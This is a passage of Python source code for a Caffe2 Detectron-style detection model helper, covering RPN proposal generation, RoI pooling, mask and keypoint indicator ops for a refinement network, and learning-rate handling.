GenerateKeypointIndicatorsOp\nfrom utils import lr_policy\nimport roi_data.fast_rcnn\nimport ops.prepare_labels_for_prn_and_update_refine_blobs as prn_label_op\nimport utils.c2 as c2_utils\n\nlogger = logging.getLogger(__name__)\n\n\nclass DetectionModelHelper(cnn.CNNModelHelper):\n def __init__(self, **kwargs):\n # Handle args specific to the DetectionModelHelper, others pass through\n # to CNNModelHelper\n self.train = kwargs.get('train', False)\n self.num_classes = kwargs.get('num_classes', -1)\n assert self.num_classes > 0, 'num_classes must be > 0'\n for k in ('train', 'num_classes'):\n if k in kwargs:\n del kwargs[k]\n kwargs['order'] = 'NCHW'\n # Defensively set cudnn_exhaustive_search to False in case the default\n # changes in CNNModelHelper. The detection code uses variable size\n # inputs that might not play nicely with cudnn_exhaustive_search.\n kwargs['cudnn_exhaustive_search'] = False\n super(DetectionModelHelper, self).__init__(**kwargs)\n self.roi_data_loader = None\n self.losses = []\n self.metrics = []\n self.do_not_update_params = [] # Param on this list are not updated\n self.net.Proto().type = cfg.MODEL.EXECUTION_TYPE\n self.net.Proto().num_workers = cfg.NUM_GPUS * 4\n self.prev_use_cudnn = self.use_cudnn\n\n def TrainableParams(self, gpu_id=-1):\n \"\"\"Get the blob names for all trainable parameters, possibly filtered by\n GPU id.\n \"\"\"\n return [\n p for p in self.params\n if (\n p in self.param_to_grad and # p has a gradient\n p not in self.do_not_update_params and # not on the blacklist\n (gpu_id == -1 or # filter for gpu assignment, if gpu_id set\n str(p).find('gpu_{}'.format(gpu_id)) == 0)\n )]\n\n def AffineChannel(self, blob_in, blob_out, share_with=None, inplace=False):\n \"\"\"Affine transformation to replace BN in networks where BN cannot be\n used (e.g., because the minibatch size is too small).\n\n The AffineChannel parameters may be shared with another AffineChannelOp\n by specifying its blob name (excluding the '_{s,b}' suffix) in the\n share_with argument. The operations can be done in place to save memory.\n \"\"\"\n blob_out = blob_out or self.net.NextName()\n is_not_sharing = share_with is None\n param_prefix = blob_out if is_not_sharing else share_with\n scale = core.ScopedBlobReference(\n param_prefix + '_s', self.param_init_net)\n bias = core.ScopedBlobReference(\n param_prefix + '_b', self.param_init_net)\n if is_not_sharing:\n self.net.Proto().external_input.extend([str(scale), str(bias)])\n self.params.extend([scale, bias])\n self.weights.append(scale)\n self.biases.append(bias)\n if inplace:\n return self.net.AffineChannel([blob_in, scale, bias], blob_in)\n else:\n return self.net.AffineChannel([blob_in, scale, bias], blob_out)\n\n def GenerateProposals(self, blobs_in, blobs_out, anchors, spatial_scale):\n \"\"\"Op for generating RPN porposals.\n\n blobs_in:\n - 'rpn_cls_probs': 4D tensor of shape (N, A, H, W), where N is the\n number of minibatch images, A is the number of anchors per\n locations, and (H, W) is the spatial size of the prediction grid.\n Each value represents a \"probability of object\" rating in [0, 1].\n - 'rpn_bbox_pred': 4D tensor of shape (N, 4 * A, H, W) of predicted\n deltas for transformation anchor boxes into RPN proposals.\n - 'im_info': 2D tensor of shape (N, 3) where the three columns encode\n the input image's [height, width, scale]. Height and width are\n for the input to the network, not the original image; scale is the\n scale factor used to scale the original image to the network input\n size.\n\n blobs_out:\n - 'rpn_rois': 2D tensor of shape (R, 5), for R RPN proposals where the\n five columns encode [batch ind, x1, y1, x2, y2]. The boxes are\n w.r.t. the network input, which is a *scaled* version of the\n original image; these proposals must be scaled by 1 / scale (where\n scale comes from im_info; see above) to transform it back to the\n original input image coordinate system.\n - 'rpn_roi_probs': 1D tensor of objectness probability scores\n (extracted from rpn_cls_probs; see above).\n \"\"\"\n name = 'GenerateProposalsOp:' + ','.join([str(b) for b in blobs_in])\n self.net.Python(\n GenerateProposalsOp(anchors, spatial_scale, self.train).forward\n )(blobs_in, blobs_out, name=name)\n return blobs_out\n\n def GenerateProposalLabels(self, blobs_in):\n \"\"\"Op for generating training labels for RPN proposals. This is used\n when training RPN jointly with Fast/Mask R-CNN (as in end-to-end\n Faster R-CNN training).\n\n blobs_in:\n - 'rpn_rois': 2D tensor of RPN proposals output by GenerateProposals\n - 'roidb': roidb entries that will be labeled\n - 'im_info': See GenerateProposals doc.\n\n blobs_out:\n - (variable set of blobs): returns whatever blobs are required for\n training the model. It does this by querying the data loader for\n the list of blobs that are needed.\n \"\"\"\n name = 'GenerateProposalLabelsOp:' + ','.join(\n [str(b) for b in blobs_in]\n )\n\n # The list of blobs is not known before run-time because it depends on\n # the specific model being trained. Query the data loader to get the\n # list of output blob names.\n blobs_out = roi_data.fast_rcnn.get_fast_rcnn_blob_names(\n is_training=self.train\n )\n blobs_out = [core.ScopedBlobReference(b) for b in blobs_out]\n\n self.net.Python(GenerateProposalLabelsOp().forward)(\n blobs_in, blobs_out, name=name\n )\n return blobs_out\n\n def CollectAndDistributeFpnRpnProposals(self):\n \"\"\"Merge RPN proposals generated at multiple FPN levels and then\n distribute those proposals to their appropriate FPN levels. An anchor\n at one FPN level may predict an RoI that will map to another level,\n hence the need to redistribute the proposals.\n\n This function assumes standard blob names for input and output blobs.\n\n Input blobs: [rpn_rois_fpn, ..., rpn_rois_fpn,\n rpn_roi_probs_fpn, ..., rpn_roi_probs_fpn]\n - rpn_rois_fpn are the RPN proposals for FPN level i; see rpn_rois\n documentation from GenerateProposals.\n - rpn_roi_probs_fpn are the RPN objectness probabilities for FPN\n level i; see rpn_roi_probs documentation from GenerateProposals.\n\n If used during training, then the input blobs will also include:\n [roidb, im_info] (see GenerateProposalLabels).\n\n Output blobs: [rois_fpn, ..., rois_rpn, rois,\n rois_idx_restore]\n - rois_fpn are the RPN proposals for FPN level i\n - rois_idx_restore is a permutation on the concatenation of all\n rois_fpn, i=min...max, such that when applied the RPN RoIs are\n restored to their original order in the input blobs.\n\n If used during training, then the output blobs will also include:\n [labels, bbox_targets, bbox_inside_weights, bbox_outside_weights].\n \"\"\"\n k_max = cfg.FPN.RPN_MAX_LEVEL\n k_min = cfg.FPN.RPN_MIN_LEVEL\n\n # Prepare input blobs\n rois_names = ['rpn_rois_fpn' + str(l) for l in range(k_min, k_max + 1)]\n score_names = [\n 'rpn_roi_probs_fpn' + str(l) for l in range(k_min, k_max + 1)\n ]\n blobs_in = rois_names + score_names\n if cfg.MODEL.REFINE_MASK_ON or cfg.MODEL.REFINE_KEYPOINTS_ON:\n blobs_in += ['data']\n if self.train:\n blobs_in += ['roidb', 'im_info']\n blobs_in = [core.ScopedBlobReference(b) for b in blobs_in]\n name = 'CollectAndDistributeFpnRpnProposalsOp:' + ','.join(\n [str(b) for b in blobs_in]\n )\n\n # Prepare output blobs\n blobs_out = roi_data.fast_rcnn.get_fast_rcnn_blob_names(\n is_training=self.train\n )\n blobs_out = [core.ScopedBlobReference(b) for b in blobs_out]\n\n outputs = self.net.Python(\n CollectAndDistributeFpnRpnProposalsOp(self.train).forward\n )(blobs_in, blobs_out, name=name)\n\n return outputs\n\n def DropoutIfTraining(self, blob_in, dropout_rate):\n \"\"\"Add dropout to blob_in if the model is in training mode and\n dropout_rate is > 0.\"\"\"\n blob_out = blob_in\n if self.train and dropout_rate > 0:\n blob_out = self.Dropout(\n blob_in, blob_in, ratio=dropout_rate, is_test=False\n )\n return blob_out\n\n# ---------------------------------------------------------------------------- #\n# Beginning of shuqin's code\n# ---------------------------------------------------------------------------- #\n def ScaleRoIs(self, blob_rois, blob_scale_rois, up_scale):\n \"\"\" Scale the blob_rois by a up_scale factor.\n abstract the use of FPN here.\n \"\"\"\n if cfg.FPN.FPN_ON:\n # FPN case\n k_max = cfg.FPN.ROI_MAX_LEVEL\n k_min = cfg.FPN.ROI_MIN_LEVEL\n blobs_in_list = ['data']\n blobs_out_list = []\n for lvl in range(k_min, k_max+1):\n blob_roi = blob_rois + '_fpn' + str(lvl)\n blob_scale_roi = blob_scale_rois + '_fpn' + str(lvl)\n blobs_in_list.append(blob_roi)\n blobs_out_list.append(blob_scale_roi)\n\n # add the *_idx_restore_int32 to the blobs_list\n restore_bl = blob_rois + '_idx_restore_int32'\n scale_restore_bl = blob_scale_rois + '_idx_restore_int32'\n blobs_in_list.append(restore_bl)\n blobs_out_list.append(scale_restore_bl)\n # Scoped the blob names\n blobs_in_list = [core.ScopedBlobReference(b) for b in blobs_in_list]\n blobs_out_list = [core.ScopedBlobReference(b) for b in blobs_out_list]\n name = 'ScaleRoIsFPNOp: ' + ','.join(\n [str(b) for b in blobs_in_list]\n )\n\n xform_out = self.net.Python(\n ScaleRoIsFPNOp(k_min, k_max, up_scale).forward\n )(blobs_in_list, blobs_out_list, name=name)\n\n else:\n # Single RPN case\n blob_rois = core.ScopedBlobReference(blob_rois)\n blob_scale_rois = core.ScopedBlobReference(blob_scale_rois)\n name = 'ScaleRoIsSingleOp: ' + str(blob_rois)\n\n xform_out = self.net.Python(\n ScaleRoIsSingleOp(up_scale).forward\n )(blob_rois, blob_scale_rois, name=name)\n\n return xform_out\n\n def GenerateLocalMaskIndicators(\n self,\n blobs_in,\n blob_out,\n blob_rois='mask_rois',\n ):\n \"\"\" Add mask indicators to the refine network. It maps the\n 'mask_probs' into the input images' space, and narrow it down\n by the value 'scale'\n\n Input blobs: [data, mask_probs]\n Input rois: mask_rois\n Output blob: mask_indicators\n \"\"\"\n blob_rois = core.ScopedBlobReference(blob_rois) # refer blob_rois\n blobs_in_list = blobs_in + [blob_rois]\n name = 'GenerateMaskIndicatorsOp:' + ','.join(\n [str(b) for b in blobs_in_list]\n )\n blob_out = core.ScopedBlobReference(blob_out)\n grad_input_indices=[0] # ignore gradient for blob_rois\n\n up_scale = cfg.REFINENET.UP_SCALE\n M = cfg.REFINENET.ROI_XFORM_RESOLUTION\n\n xform_out = self.net.Python(\n GenerateLocalMaskIndicatorsOp(up_scale=up_scale, resolution=M).forward,\n GenerateLocalMaskIndicatorsOp(up_scale=up_scale, resolution=M).backward,\n grad_input_indices=grad_input_indices\n )(blobs_in_list, blob_out, name=name)\n return xform_out\n\n def GenerateLocalMaskIndicatorsCUDA(\n self,\n blobs_in,\n blob_out,\n blob_rois,\n up_scale,\n resolution\n ):\n \"\"\" Generate Indicators. Implemented in C++ and CUDA.\n The forward function is similar to GenerateLocalMaskIndicators.\n But This operator adds a backward function to allow e2e learning.\n The indicator here acts as an intermediate feature.\n Adding a StopGradient Op can avoid the backward pass, which should\n produce the same results as the GenerateLocalMaskIndicators()\n\n blobs_in: mask_probs/mask_logits\n blob_out: mask_indicators\n\n op input: X, R, Data\n op output: Y\n \"\"\"\n method = 'GenerateIndicators'\n\n blob_in_list = [blobs_in, blob_rois, 'data']\n blob_out = self.net.__getattr__(method)(\n blob_in_list, [blob_out],\n up_scale=float(up_scale),\n resolution=resolution,\n same_as_opencv=cfg.REFINENET.SAME_AS_OPENCV,\n )\n return blob_out\n\n def GenerateKeypointIndicators(\n self,\n blobs_in,\n blob_out,\n blob_rois='keypoint_rois',\n ):\n \"\"\" Add keypoint indicators to the refine network. It maps the\n keypoint heatmap on local rois into the expanded rois. The heatmap\n is re-drawed instead of directly resized to handle special issues \n for keypoints\n\n Input blobs: [data, kps_scores]\n Input rois: keypoint_rois\n Output blob: keypoint_indicators\n \"\"\"\n blob_rois = core.ScopedBlobReference(blob_rois) # refer blob_rois\n blobs_in_list = blobs_in + [blob_rois]\n name = 'GenerateKeypointIndicatorsOp:' + ','.join(\n [str(b) for b in blobs_in_list]\n )\n blob_out = core.ScopedBlobReference(blob_out)\n grad_input_indices = [0] # ignore gradient for blob_rois\n\n up_scale = cfg.REFINENET.UP_SCALE\n M = cfg.REFINENET.ROI_XFORM_RESOLUTION\n\n xform_out = self.net.Python(\n GenerateKeypointIndicatorsOp(up_scale=up_scale, resolution=M).forward,\n GenerateKeypointIndicatorsOp(up_scale=up_scale, resolution=M).backward,\n grad_input_indices=grad_input_indices\n )(blobs_in_list, blob_out, name=name)\n return xform_out\n\n def PrepareLabelsForPRNAndUpdateRefineBlobs(self):\n \"\"\" Prepare labels for PRN and update blobs for RefineNet.\n\n Input blobs: ['mask_ious', 'labels_int32']\n - labels_int32 is the cls label for rois\n\n If used during training, adds the related blobs for the specific\n refinement task, such as ['refined_masks_int32'].\n\n Output blob: ['prn_labels_int32', 'roi_needs_refine_int32']\n - prn_labels_int32 is the labels for prn.\n - roi_needs_refine_int32 is a binary label indicates whether\n further refinement is needed or not.\n\n And if used during training, also doing inplace-update for the\n labels of refinement tasks. Such as update ['refined_masks_int32']\n \"\"\"\n # Prepare input blobs\n blobs_in = prn_label_op.get_op_blob_in_names()\n blobs_in = [core.ScopedBlobReference(b) for b in blobs_in]\n name = 'PrepareLabelsForPRNAndUpdateRefineBlobsOp: ' + ','.join([str(b) for b in blobs_in])\n # Prepare output blobs\n blobs_out = prn_label_op.get_op_blob_out_names()\n blobs_out = [core.ScopedBlobReference(b) for b in blobs_out]\n # Execute op\n output = self.net.Python(\n PrepareLabelsForPRNAndUpdateRefineBlobsOp().forward\n )(blobs_in, blobs_out, name=name)\n return output\n\n def GenerateRoIsNeedRefine(self):\n ### IMPORTANT! Unused op!!!\n\n \"\"\" Generate a binary label to decide whether the prediction needs\n further refinement. And also update the corresponding prediction\n here.\n\n Input blobs: ['prn_probs']\n - prn_probs is the probability of the mask/keypoint\n prediction needs further refinement\n\n If used during training, includes the labels for PredictNeedRefine\n and use it as the output. ['prn_labels_int32']\n And also adds the related blobs for the specific refinement task,\n such as ['refined_masks_int32'].\n\n Output blob: ['roi_needs_refine_int32']\n - roi_needs_refine_int32 is a binary label indicates whether\n further refinement is needed or not.\n\n And if used during training, also doing inplace-update for the\n labels of refinement tasks. Such as update ['refined_masks_int32']\n \"\"\"\n # Prepare input blobs\n blobs_in = ['prn_probs']\n if self.train:\n # adds labels of prn\n blobs_in += ['prn_labels_int32']\n # adds refinement tasks specific blobs\n if cfg.MODEL.REFINE_MASK_ON:\n blobs_in += ['refined_masks_int32']\n\n blobs_in = [core.ScopedBlobReference(b) for b in blobs_in]\n name = 'GenerateRoIsNeedRefineOp: ' + ','.join(\n str(b) for b in blobs_in\n )\n\n # Prepare output blobs\n blobs_out = ['roi_needs_refine_int32']\n if self.train:\n # add refinement tasks specific blobs\n if cfg.MODEL.REFINE_MASK_ON:\n blobs_out += ['refined_masks_int32']\n\n blobs_out = [core.ScopedBlobReference(b) for b in blobs_out]\n\n # Execute op\n # Note that this op will overwrite the label for the specific task\n outputs = self.net.Python(\n GenerateRoIsNeedRefineOp(self.train).forward\n )(blobs_in, blobs_out, name=name)\n\n return outputs[0] # only return the binary label\n\n def MaskIoUs(self, blobs_in, blob_label, blob_out):\n \"\"\" Calculate Mask IoUs.\n Input blobs: ['mask_probs', 'masks_int32']\n Output blobs: ['mask_ious']\n \"\"\"\n blobs_in = [core.ScopedBlobReference(b) for b in blobs_in]\n name = 'MaskIoUsOp: ' + ','.join([str(b) for b in blobs_in])\n\n blob_out = core.ScopedBlobReference(blob_out)\n\n output = self.net.Python(\n MaskIoUsOp().forward\n )(blobs_in, blob_out, name=name)\n return output\n\n# ---------------------------------------------------------------------------- #\n# End of shuqin's code\n# ---------------------------------------------------------------------------- #\n def RoIFeatureTransform(\n self,\n blobs_in,\n blob_out,\n blob_rois='rois',\n method='RoIPoolF',\n resolution=7,\n spatial_scale=1. / 16.,\n sampling_ratio=0\n ):\n \"\"\"Add the specified RoI pooling method. The sampling_ratio argument\n is supported for some, but not all, RoI transform methods.\n\n RoIFeatureTransform abstracts away:\n - Use of FPN or not\n - Specifics of the transform method\n \"\"\"\n assert method in {'RoIPoolF', 'RoIAlign'}, \\\n 'Unknown pooling method: {}'.format(method)\n has_argmax = (method == 'RoIPoolF')\n if isinstance(blobs_in, list):\n # FPN case: add RoIFeatureTransform to each FPN level\n k_max = cfg.FPN.ROI_MAX_LEVEL # coarsest level of pyramid\n k_min = cfg.FPN.ROI_MIN_LEVEL # finest level of pyramid\n assert len(blobs_in) == k_max - k_min + 1\n bl_out_list = []\n for lvl in range(k_min, k_max + 1):\n bl_in = blobs_in[k_max - lvl] # blobs_in is in reversed order\n sc = spatial_scale[k_max - lvl] # in reversed order\n bl_rois = blob_rois + '_fpn' + str(lvl)\n bl_out = blob_out + '_fpn' + str(lvl)\n bl_out_list.append(bl_out)\n bl_argmax = ['_argmax_' + bl_out] if has_argmax else []\n self.net.__getattr__(method)(\n [bl_in, bl_rois], [bl_out] + bl_argmax,\n pooled_w=resolution,\n pooled_h=resolution,\n spatial_scale=sc,\n sampling_ratio=sampling_ratio\n )\n # The pooled features from all levels are concatenated along the\n # batch dimension into a single 4D tensor.\n xform_shuffled, _ = self.net.Concat(\n bl_out_list, [blob_out + '_shuffled', '_concat_' + blob_out],\n axis=0\n )\n # Unshuffle to match rois from dataloader\n restore_bl = blob_rois + '_idx_restore_int32'\n xform_out = self.net.BatchPermutation(\n [xform_shuffled, restore_bl], blob_out\n )\n else:\n # Single feature level\n bl_argmax = ['_argmax_' + blob_out] if has_argmax else []\n # sampling_ratio is ignored for RoIPoolF\n xform_out = self.net.__getattr__(method)(\n [blobs_in, blob_rois], [blob_out] + bl_argmax,\n pooled_w=resolution,\n pooled_h=resolution,\n spatial_scale=spatial_scale,\n sampling_ratio=sampling_ratio\n )\n # Only return the first blob (the transformed features)\n return xform_out\n\n def ConvShared(\n self,\n blob_in,\n blob_out,\n dim_in,\n dim_out,\n kernel,\n weight=None,\n bias=None,\n **kwargs\n ):\n \"\"\"Add conv op that shares weights and/or biases with another conv op.\n \"\"\"\n use_bias = (\n False if ('no_bias' in kwargs and kwargs['no_bias']) else True\n )\n\n if self.use_cudnn:\n kwargs['engine'] = 'CUDNN'\n kwargs['exhaustive_search'] = self.cudnn_exhaustive_search\n if self.ws_nbytes_limit:\n kwargs['ws_nbytes_limit'] = self.ws_nbytes_limit\n\n if use_bias:\n blobs_in = [blob_in, weight, bias]\n else:\n blobs_in = [blob_in, weight]\n\n if 'no_bias' in kwargs:\n del kwargs['no_bias']\n\n return self.net.Conv(\n blobs_in, blob_out, kernel=kernel, order=self.order, **kwargs\n )\n\n def BilinearInterpolation(\n self, blob_in, blob_out, dim_in, dim_out, up_scale\n ):\n \"\"\"Bilinear interpolation in space of scale.\n\n Takes input of NxKxHxW and outputs NxKx(sH)x(sW), where s:= up_scale\n\n Adapted from the CVPR'15 FCN code.\n See: https://github.com/shelhamer/fcn.berkeleyvision.org/blob/master/surgery.py\n \"\"\"\n assert dim_in == dim_out\n assert up_scale % 2 == 0, 'Scale should be even'\n\n def upsample_filt(size):\n factor = (size + 1) // 2\n if size % 2 == 1:\n center = factor - 1\n else:\n center = factor - 0.5\n og = np.ogrid[:size, :size]\n return ((1 - abs(og[0] - center) / factor) *\n (1 - abs(og[1] - center) / factor))\n\n kernel_size = up_scale * 2\n bil_filt = upsample_filt(kernel_size)\n\n kernel = np.zeros(\n (dim_in, dim_out, kernel_size, kernel_size), dtype=np.float32\n )\n kernel[range(dim_out), range(dim_in), :, :] = bil_filt\n\n blob = self.ConvTranspose(\n blob_in,\n blob_out,\n dim_in,\n dim_out,\n kernel_size,\n stride=int(up_scale),\n pad=int(up_scale / 2),\n weight_init=('GivenTensorFill', {'values': kernel}),\n bias_init=('ConstantFill', {'value': 0.})\n )\n self.do_not_update_params.append(self.weights[-1])\n self.do_not_update_params.append(self.biases[-1])\n return blob\n\n def ConvAffine( # args in the same order of Conv()\n self, blob_in, prefix, dim_in, dim_out, kernel, stride, pad,\n group=1, dilation=1,\n weight_init=None,\n bias_init=None,\n suffix='_bn',\n inplace=False\n ):\n \"\"\"ConvAffine adds a Conv op followed by a AffineChannel op (which\n replaces BN during fine tuning).\n \"\"\"\n conv_blob = self.Conv(\n blob_in,\n prefix,\n dim_in,\n dim_out,\n kernel,\n stride=stride,\n pad=pad,\n group=group,\n dilation=dilation,\n weight_init=weight_init,\n bias_init=bias_init,\n no_bias=1\n )\n blob_out = self.AffineChannel(\n conv_blob, prefix + suffix, inplace=inplace\n )\n return blob_out\n\n def ConvBN( # args in the same order of Conv()\n self, blob_in, prefix, dim_in, dim_out, kernel, stride, pad,\n group=1, dilation=1,\n weight_init=None,\n bias_init=None,\n suffix='_bn'\n ):\n \"\"\" ConvBN adds a Conv op followed by a SpatialBN op. \"\"\"\n conv_blob = self.Conv(\n blob_in,\n prefix,\n dim_in,\n dim_out,\n kernel,\n stride=stride,\n pad=pad,\n group=group,\n dilation=dilation,\n weight_init=weight_init,\n bias_init=bias_init,\n no_bias=1\n )\n blob_out = brew.spatial_bn(\n self, conv_blob, prefix + suffix, dim_out, is_test= not self.train\n )\n return blob_out\n\n def DisableCudnn(self):\n self.prev_use_cudnn = self.use_cudnn\n self.use_cudnn = False\n\n def RestorePreviousUseCudnn(self):\n prev_use_cudnn = self.use_cudnn\n self.use_cudnn = self.prev_use_cudnn\n self.prev_use_cudnn = prev_use_cudnn\n\n def UpdateWorkspaceLr(self, cur_iter):\n \"\"\"Updates the model's current learning rate and the workspace (learning\n rate and update history/momentum blobs).\n \"\"\"\n # The workspace is the one source of truth for the lr\n # The lr is always the same on all GPUs\n cur_lr = workspace.FetchBlob('gpu_0/lr')[0]\n new_lr = lr_policy.get_lr_at_iter(cur_iter)\n # There are no type conversions between the lr in Python and the lr in\n # the GPU (both are float32), so exact comparision is ok\n if cur_lr != new_lr:\n ratio = _get_lr_change_ratio(cur_lr, new_lr)\n if ratio > cfg.SOLVER.LOG_LR_CHANGE_THRESHOLD:\n logger.info(\n 'Changing learning rate {:.6f} -> {:.6f} at iter {:d}'.\n format(cur_lr, new_lr, cur_iter))\n self._SetNewLr(cur_lr, new_lr)\n return new_lr\n\n def _SetNewLr(self, cur_lr, new_lr):\n \"\"\"Do the actual work of updating the model and workspace blobs.\n \"\"\"\n for i in range(cfg.NUM_GPUS):\n with c2_utils.CudaScope(i):\n workspace.FeedBlob(\n 'gpu_{}/lr'.format(i), np.array([new_lr], dtype=np.float32))\n ratio = _get_lr_change_ratio(cur_lr, new_lr)\n if cfg.SOLVER.SCALE_MOMENTUM and cur_lr > 1e-7 and \\\n ratio > cfg.SOLVER.SCALE_MOMENTUM_THRESHOLD:\n self._CorrectMomentum(new_lr / cur_lr)\n\n def _CorrectMomentum(self, correction):\n \"\"\"The MomentumSGDUpdate op implements the update V as\n\n V := mu * V + lr * grad,\n\n where mu is the momentum factor, lr is the learning rate, and grad is\n the stochastic gradient. Since V is not defined independently of the\n learning rate (as it should ideally be), when the learning rate is\n changed we should scale the update history V in order to make it\n compatible in scale with lr * grad.\n \"\"\"\n logger.info(\n 'Scaling update history by {:.6f} (new lr / old lr)'.\n format(correction))\n for i in range(cfg.NUM_GPUS):\n with c2_utils.CudaScope(i):\n for param in self.TrainableParams(gpu_id=i):\n op = core.CreateOperator(\n 'Scale', [param + '_momentum'], [param + '_momentum'],\n scale=correction)\n workspace.RunOperatorOnce(op)\n\n def AddLosses(self, losses):\n if not isinstance(losses, list):\n losses = [losses]\n # Conversion to str allows losses to include BlobReferences\n losses = [c2_utils.UnscopeName(str(l)) for l in losses]\n self.losses = list(set(self.losses + losses))\n\n def AddMetrics(self, metrics):\n if not isinstance(metrics, list):\n metrics = [metrics]\n self.metrics = list(set(self.metrics + metrics))\n\n# ---------------------------------------------------------------------------- #\n# Old codes that no longer used\n# ---------------------------------------------------------------------------- #\n def RescaleAndDumplicateFeatureFPN(\n self,\n blobs_in,\n blob_out,\n blob_rois,\n src_spatial_scales,\n dst_spatial_scale\n ):\n \"\"\" Dumplicate FPN feature maps for the refiner network.\n If use FPN, then call. Then concancate the feature maps\n along the batch dimension\n\n Input blobs: [fpn_, ..., fpn_]\n Input rois: [mask_rois_fpn, ..., mask_rois_fpn]\n\n Output blobs: rois_global_feature\n \"\"\"\n dst_sc = dst_spatial_scale\n\n k_max = cfg.FPN.ROI_MAX_LEVEL\n k_min = cfg.FPN.ROI_MIN_LEVEL\n blob_fpn_rois = [\n core.ScopedBlobReference(blob_rois+'_fpn'+str(lvl))\n for lvl in range(k_min, k_max+1)\n ]\n\n src_sc = []\n blobs_in_list = []\n for lvl in range(k_min, k_max+1):\n blob_in = blobs_in[k_max - lvl] # reversed order\n src_sc.append(src_spatial_scales[k_max - lvl]) # reversed order\n blob_fpn_roi = blob_fpn_rois[lvl - k_min]\n blobs_in_list.append(blob_in)\n blobs_in_list.append(blob_fpn_roi)\n\n name = 'RescaleAndDumplcateFeatureFPNOp: ' + ','.join(\n [str(b) for b in blobs_in_list]\n )\n # ignore gradient for 'blob_rois'\n grad_input_indices = [2*(i-k_min) for i in range(k_min, k_max+1)]\n #grad_input_indices=[]\n\n blob_fpn_dumplicate_out = [\n core.ScopedBlobReference(blob_out+'_fpn'+str(lvl))\n for lvl in range(k_min, k_max+1)\n ]\n\n #Rescale and Dumplicate FPN feature\n blob_dumplicate_list = self.net.Python(\n RescaleAndDumplicateFeatureFPNOp(k_min,k_max,src_sc,dst_sc).forward,\n RescaleAndDumplicateFeatureFPNOp(k_min,k_max,src_sc,dst_sc).backward,\n grad_input_indices=grad_input_indices\n )(blobs_in_list, blob_fpn_dumplicate_out, name=name)\n\n # The pooled features from all levels are concatenated along the\n # batch dimension into a single 4D tensor.\n xform_shuffled, _ = self.net.Concat(\n blob_dumplicate_list, [blob_out + '_shuffled', '_concat_' + blob_out],\n axis=0\n )\n # Unshuffle to match rois from dataloader\n restore_bl = core.ScopedBlobReference(blob_rois + '_idx_restore_int32')\n xform_out = self.net.BatchPermutation(\n [xform_shuffled, restore_bl], blob_out\n )\n\n return xform_out\n\n def RescaleAndDumplicateFeatureSingle(\n self,\n blobs_in,\n blob_out,\n blob_rois,\n src_spatial_scales,\n dst_spatial_scale\n ):\n \"\"\" Dumplicate feature maps for the refiner network.\n If use FPN, then rescale the different FPN level feature\n to a dst_spatial_scale. Then concancate the feature maps\n along the batch dimension\n\n Input blobs: res_...\n Input rois: mask_rois_fpn\n\n Output blobs: rois_global_feature\n \"\"\"\n # Single scale feature\n src_sc = src_spatial_scales\n dst_sc = dst_spatial_scale\n blobs_in_list = [blobs_in, core.ScopedBlobReference(blob_rois)]\n name = 'RescaleAndDumplicateOp:' + ','.join(\n [str(b) for b in blobs_in_list]\n )\n\n blob_out = core.ScopedBlobReference(blob_out)\n\n xform_out = self.net.Python(\n RescaleAndDumplicateFeatureSingleOp(src_sc, dst_sc).forward,\n RescaleAndDumplicateFeatureSingleOp(src_sc, dst_sc).backward,\n grad_input_indices=[0]\n )(blobs_in_list, blob_out, name=name)\n\n return xform_out\n\n def RescaleAndDumplicateFeatureOld(\n self,\n blobs_in,\n blob_out,\n blob_rois,\n src_spatial_scales,\n dst_spatial_scale\n ):\n \"\"\" Dumplicate feature maps for the refiner network.\n If use FPN, then rescale the different FPN level feature\n to a dst_spatial_scale. Then concancate the feature maps\n along the batch dimension\n\n Input blobs: [fpn_, ..., fpn_]\n Input rois: [mask_rois_fpn, ..., mask_rois_fpn]\n\n Output blobs: rois_global_feature\n \"\"\"\n # Add scoped blob\n\n if isinstance(blobs_in, list):\n # FPN cases: add RescaleAndDumplcateFeatureOp to each level\n # Since .net.Python can only use existing blob as input,\n # we create a blob to maintain some temporary parameters\n # and pass the blob to custom_op\n k_max = cfg.FPN.ROI_MAX_LEVEL\n k_min = cfg.FPN.ROI_MIN_LEVEL\n assert len(blobs_in) == k_max - k_min + 1\n dst_sc = dst_spatial_scale\n bl_out_list = []\n for lvl in range(k_min, k_max + 1):\n src_sc = src_spatial_scales[k_max - lvl] # reversed order\n dst_sc = dst_spatial_scale\n\n bl_in = blobs_in[k_max - lvl] # came in reversed order\n bl_rois = core.ScopedBlobReference(blob_rois + '_fpn' + str(lvl))\n bl_in_list = [bl_in, bl_rois]\n name = 'RescaleAndDumplicateFeatureOp:' + ','.join(\n [str(b) for b in bl_in_list]\n )\n\n bl_out = core.ScopedBlobReference(blob_out + '_fpn' + str(lvl))\n bl_out_list.append(bl_out)\n self.net.Python(\n RescaleAndDumplicateFeatureOp(src_sc, dst_sc).forward\n )(bl_in_list, bl_out, name=name)\n\n # The pooled features from all levels are concatenated along the\n # batch dimension into a single 4D tensor.\n xform_shuffled, _ = self.net.Concat(\n bl_out_list, [blob_out + '_shuffled', '_concat_' + blob_out],\n axis=0\n )\n blob_rois = core.ScopedBlobReference(blob_rois)\n # Unshuffle to match rois from dataloader\n restore_bl = blob_rois + '_idx_restore_int32'\n xform_out = self.net.BatchPermutation(\n [xform_shuffled, restore_bl], blob_out\n )\n else:\n # Single scale feature\n src_sc = src_spatial_scales\n dst_sc = dst_spatial_scale\n blobs_in_list = [blobs_in, core.ScopedBlobReference(blob_rois)]\n name = 'RescaleAndDumplicateOp:' + ','.join(\n [str(b) for b in blobs_in_list]\n )\n\n blob_out = core.ScopedBlobReference(blob_out)\n\n xform_out = self.net.Python(\n RescaleAndDumplicateFeatureOp(src_sc, dst_sc).forward\n )(blobs_in_list, blob_out, name=name)\n\n # Only return the first blob (the transformed features)\n return xform_out\n\n def PoolingIndicatorFeatureSingle(\n self,\n blobs_in,\n blob_out,\n blob_rois,\n spatial_scale\n ):\n \"\"\" Pool indicator feature for the rois. Scale the roi with a\n factor and then create a feature map with size MxM.\n\n Input blobs: res_...\n Input rois: mask_rois_fpn\n\n Output blobs: rois_global_feature\n\n \"\"\"\n M = cfg.REFINENET.RESOLUTION\n up_scale = cfg.REFINENET.UP_SCALE\n\n blobs_in_list = [blobs_in, core.ScopedBlobReference(blob_rois)]\n name = 'PoolingIndicatorFeatureSingleOp:' + ','.join(\n [str(b) for b in blobs_in_list]\n )\n\n blob_out = core.ScopedBlobReference(blob_out)\n\n xform_out = self.net.Python(\n PoolingIndicatorFeatureSingleOp(spatial_scale, up_scale, M).forward,\n PoolingIndicatorFeatureSingleOp(spatial_scale, up_scale, M).backward,\n grad_input_indices=[0]\n )(blobs_in_list, blob_out, name=name)\n\n return xform_out\n\n def 